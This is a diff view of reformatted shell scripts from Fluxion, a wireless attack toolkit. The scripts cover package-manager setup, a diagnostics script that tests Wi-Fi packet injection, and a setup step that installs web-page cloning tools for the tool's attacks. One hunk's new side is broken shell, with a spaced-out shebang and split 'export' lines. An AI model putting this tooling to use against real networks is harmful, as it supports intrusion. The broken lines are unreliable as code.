PackageManagerCLTRemoveOptions="-Rs" PackageManagerCLTRemoveOptions="-Rs"
PackageManagerOutputDevice="/dev/stdout" PackageManagerOutputDevice="/dev/stdout"
PackageManagerLog="/tmp/lib_package_manager.log" PackageManagerLog="/tmp/lib_package_manager.log"
function unprep_package_manager() { function unprep_package_manager() {
echo "Nothing to unprepare." > $PackageManagerOutputDevice echo "Nothing to unprepare." >$PackageManagerOutputDevice
} }
function prep_package_manager() { function prep_package_manager() {
echo "Nothing to prepare." > $PackageManagerOutputDevice echo "Nothing to prepare." >$PackageManagerOutputDevice
} }
fi fi
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -1,21 +1,21 @@
#!/bin/bash #!/bin/bash
if [ -f "/etc/redhat-release" ]; then if [ -f "/etc/redhat-release" ]; then
PackageManagerCLT="yum" PackageManagerCLT="yum"
PackageManagerCLTInstallOptions="-y install" PackageManagerCLTInstallOptions="-y install"
PackageManagerCLTRemoveOptions="remove" PackageManagerCLTRemoveOptions="remove"
PackageManagerOutputDevice="/dev/stdout" PackageManagerOutputDevice="/dev/stdout"
PackageManagerLog="/tmp/lib_package_manager.log" PackageManagerLog="/tmp/lib_package_manager.log"
function unprep_package_manager() { function unprep_package_manager() {
echo "Nothing to unprepare." > $PackageManagerOutputDevice echo "Nothing to unprepare." >$PackageManagerOutputDevice
} }
function prep_package_manager() { function prep_package_manager() {
echo "Nothing to prepare." > $PackageManagerOutputDevice echo "Nothing to prepare." >$PackageManagerOutputDevice
} }
fi fi
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -1,21 +1,21 @@
#!/bin/bash #!/bin/bash
if [ -f "/etc/SuSE-release" ]; then if [ -f "/etc/SuSE-release" ]; then
PackageManagerCLT="zypp" PackageManagerCLT="zypp"
PackageManagerCLTInstallOptions="install" PackageManagerCLTInstallOptions="install"
PackageManagerCLTRemoveOptions="remove" PackageManagerCLTRemoveOptions="remove"
PackageManagerOutputDevice="/dev/stdout" PackageManagerOutputDevice="/dev/stdout"
PackageManagerLog="/tmp/lib_package_manager.log" PackageManagerLog="/tmp/lib_package_manager.log"
function unprep_package_manager() { function unprep_package_manager() {
echo "Nothing to unprepare." > $PackageManagerOutputDevice echo "Nothing to unprepare." >$PackageManagerOutputDevice
} }
function prep_package_manager() { function prep_package_manager() {
echo "Nothing to prepare." > $PackageManagerOutputDevice echo "Nothing to prepare." >$PackageManagerOutputDevice
} }
fi fi
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -1,6 +1,4 @@
#!/bin/bash #!/ bin / bash
export FLUXIONDebug=1
export FLUXIONWIKillProcesses=1
export FLUXIONWIReloadDriver=1
export FLUXIONDebug = 1 export FLUXIONWIKillProcesses =
1 export FLUXIONWIReloadDriver = 1

View File

@ -1,16 +1,15 @@
#!/bin/bash #!/bin/bash
if [ -d "lib" ] if [ -d "lib" ]; then source lib/InterfaceUtils.sh
then source lib/InterfaceUtils.sh elif [ -d "../lib" ]; then source ../lib/InterfaceUtils.sh
elif [ -d "../lib" ]
then source ../lib/InterfaceUtils.sh
else else
echo "YOU MUST EXECUTE THIS SCRIPT FROM FLUXION'S ROOT!"; exit 1 echo "YOU MUST EXECUTE THIS SCRIPT FROM FLUXION'S ROOT!"
exit 1
fi fi
if [ ! "$1" ]; then
if [ ! "$1" ] echo "Usage ./scripts/diagnostics <wireless_interface>"
then echo "Usage ./scripts/diagnostics <wireless_interface>"; exit 1 exit 1
fi fi
echo "[ FLUXION Info ]" echo "[ FLUXION Info ]"
@ -20,22 +19,19 @@ echo -ne "\n\n"
echo "[ BASH Info ]" echo "[ BASH Info ]"
bash --version bash --version
echo "Path: `ls -L $(which bash)`" echo "Path: $(ls -L $(which bash))"
echo -ne "\n\n" echo -ne "\n\n"
echo "[ Interface ($1) Info ]" echo "[ Interface ($1) Info ]"
if interface_physical "$1" if interface_physical "$1"; then echo "Device: $InterfacePhysical"
then echo "Device: $InterfacePhysical"
else echo "Device: Unknown" else echo "Device: Unknown"
fi fi
if interface_driver "$1" if interface_driver "$1"; then echo "Driver: $InterfaceDriver"
then echo "Driver: $InterfaceDriver"
else echo "Driver: Unsupported" else echo "Driver: Unsupported"
fi fi
if interface_chipset "$1" if interface_chipset "$1"; then echo "Chipset: $InterfaceChipset"
then echo "Chipset: $InterfaceChipset"
else echo "Chipset: Unknown" else echo "Chipset: Unknown"
fi fi
@ -44,18 +40,17 @@ aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo
echo -ne "\n\n" echo -ne "\n\n"
echo "[ XTerm Info ]" echo "[ XTerm Info ]"
echo "Version: `xterm -version`" echo "Version: $(xterm -version)"
echo "Path: `ls -L $(which xterm)`" echo "Path: $(ls -L $(which xterm))"
echo -n "Test: " echo -n "Test: "
if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &> /dev/null if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &>/dev/null; then echo "XServer/XTerm success!"
then echo "XServer/XTerm success!" else echo "XServer/XTerm failure!"
else echo "XServer/XTerm failure!"
fi fi
echo -ne "\n\n" echo -ne "\n\n"
echo "[ HostAPD Info ]" echo "[ HostAPD Info ]"
hostapd -v hostapd -v
echo "Path: `ls -L $(which hostapd)`" echo "Path: $(ls -L $(which hostapd))"
echo -ne "\n\n" echo -ne "\n\n"
echo "[ Aircrack-ng Info ]" echo "[ Aircrack-ng Info ]"
@ -63,7 +58,6 @@ aircrack-ng -H | head -n 4
echo -ne "\n\n" echo -ne "\n\n"
echo "[ System Info ]" echo "[ System Info ]"
if [ -r "/proc/version" ] if [ -r "/proc/version" ]; then cat /proc/version
then cat /proc/version
else uname -r else uname -r
fi fi

View File

@ -2,7 +2,7 @@
##################################### < CONFIGURATION > ##################################### ##################################### < CONFIGURATION > #####################################
gateway=`ip route | grep default | awk '{print $3}'` gateway=$(ip route | grep default | awk '{print $3}')
#Colors #Colors
white="\033[1;37m" white="\033[1;37m"
@ -21,41 +21,41 @@ echo "[i] Prepare dep."
# Check which package manager is installed # Check which package manager is installed
echo "Package Manager" echo "Package Manager"
if hash pacman 2>/dev/null; then if hash pacman 2>/dev/null; then
PACK="pacman -S" PACK="pacman -S"
else else
if hash apt-get 2>/dev/null; then if hash apt-get 2>/dev/null; then
PACK="apt-get install" PACK="apt-get install"
else else
if hash yum 2>/dev/null; then if hash yum 2>/dev/null; then
PACK="yum install" PACK="yum install"
fi
fi fi
fi
fi fi
sleep 0.025 sleep 0.025
echo "=================================================================================" echo "================================================================================="
echo -ne "Httrack........." echo -ne "Httrack........."
if ! hash httrack 2>/dev/null; then if ! hash httrack 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent"" echo -e "\e[1;31mNot installed"$transparent""
$PACK httrack $PACK httrack
else else
echo -e "\e[1;32mOK!"$transparent"" echo -e "\e[1;32mOK!"$transparent""
fi fi
sleep 0.025 sleep 0.025
echo "=================================================================================" echo "================================================================================="
echo -ne "cutycapt........" echo -ne "cutycapt........"
if ! hash httrack 2>/dev/null; then if ! hash httrack 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent"" echo -e "\e[1;31mNot installed"$transparent""
$PACK cutycapt $PACK cutycapt
else else
echo -e "\e[1;32mOK!"$transparent"" echo -e "\e[1;32mOK!"$transparent""
fi fi
sleep 0.025 sleep 0.025
echo "=================================================================================" echo "================================================================================="
if [ ! -d sites ];then if [ ! -d sites ]; then
mkdir sites mkdir sites
fi fi
############################################################################################# #############################################################################################